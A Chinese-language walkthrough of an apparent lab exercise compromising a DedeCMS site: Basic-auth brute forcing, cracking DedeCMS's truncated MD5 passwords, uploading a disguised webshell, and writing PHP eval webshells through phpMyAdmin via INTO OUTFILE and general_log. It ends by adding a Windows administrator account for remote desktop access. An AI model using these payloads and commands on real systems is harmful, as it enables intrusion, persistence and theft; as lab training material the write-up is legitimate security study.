DEDECMS-案例分析
1、信息采集
通过Wappalyzer获取CMS、操作系统、编程语言和数据库管理器等信息
御剑目录扫描
并未扫描到任何信息,大概率是认证问题
输入账号密码抓个包看看
Basic认证
Basic认证过程简单介绍
浏览器请求一个需要认证的网页。
服务器向浏览器返回“401 Unauthorized(未认证)”状态码。
浏览器收到此状态码后,询问用户名和密码。
浏览器发送附带认证信息(Authorization头信息)的请求。
本次请求得到了文档(用户名密码均正确的情况下) 。
其中YWRtaW46MTIz
是username:password(admin:123)
经过base64加密得到的结果
2、弱口令爆破
这里就要尝试一些fuzz爆破
playload格式 用户名字典+ :
+密码字典,对有效载荷处理添加base64编码
可以看到一个200响应,base64解码后得到账号密码
登陆得到key1
目录扫描可以用BP抓包,加上御剑的字典爆破
注意一定不要选择有效载荷编码
将结果保存为txt文档
进入key.txt,得到key2
前面信息采集的时候就已经知道了数据库管理器是phpMyAdmin
还是尝试一下fuzz爆破,通过弱口令检查工具得到数据库用户名和密码,所以说这个admin就是一个干扰选项
进入数据库后台后找到admin的密码,到这一部的时候就又要用我们前面的信息,CMS是DedeCMS,那么就有个特点,dede 的密码怎么破解,dede后台。32位的DEDE密码如何破解
dede 的密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5。
比如我的数据库的密文是:cca77804d2ba1922c33e
得到20 MD5密码,方法是,前减3后减1,得到16位MD5
这样执行后就是77804d2ba1922c33
直接md5解密:888888
可以正常进入后台
文件上传 getshell
在后台上传一个png类型文件,写入马,改后缀
在附件数据管理中找到上传文件路径
可以正常执行,蚁剑添加Authorized头部可以正常连接
phpMyAdmin get shell
参考文章:https://xz.aliyun.com/t/3283
(1) 直接写shell
前提三个条件:对web目录具有写入条件(dba用户)、知道网站的路径(探针phpinfo、报错、目录扫描等等)、secure_file_pri要具有导出权限,需要为空或者具体的一个web路径
查询secure_file_priv的值,当前为空
select @@secure_file_priv; show GLOBAL VARIABLES like '%secure_file%';
查找路径
SELECT @@basedir;
SELECT '<?php eval($_POST[x]); ?>' INTO OUTFILE 'C:/phpStudy/MySQL/xiaodisec.php';
在蚁剑上可以看到已经上传了,知道路径就可以利用(可以根据MYSQL路径猜网站根目录,后面说)
(2) 日志文件写shell
因为在mysql5.0以上,mysql官方把secure_file_pri参数默认设为NULL,所以无法进行导入导出,mysql有日志功能可以优化SQL语句
- 查询mysql日志功能是否开启
SHOW VARIABLES LIKE '%general%'
General_log 表示日志功能是否打开
General_log_file 代表日志存储的位置
- 修改日志功能开头以及日志位置
SET GLOBAL general_log = on; SET GLOBAL general_log_file='C:/phpStudy/MySQL/xiaodisec.php'; SELECT '<?php @eval($_POST[x]);?>';
- 根据前面查到的日志路径可以判断,这个网站是小皮搭建的,大差不差就能猜到网站路径
C:/phpStudy/www SET GLOBAL general_log_file='C:/phpStudy/www/xiaodisec.php'
远程连接
先用nmap查看是否开启远程连接
nmap -p 3389 10.0.0.163
在御剑命令行中能看到当前为管理员用户
但是很明显账号不匹配(与admin,888888)这个数据库后台管理员
net user xiaodi 123456 /add net localgroup administrators xiaodi /add net localgroup administrators
添加管理员用户成功
远程连接失败的原因
远程桌面失败也有很多其他原因,例如: 1.攻击机与目标机是否连通,ping命令即可验证。 2.目标机器是否开启了远程桌面服务 3.kali中/etc/ssh/sshd_config文件,X11 forwarding 是否设置为 yes? 4.也有博主说kali默认安装的rdesktop容易出现问题,卸载,重装。apt-get remove/install rdesktop 两条命令即可!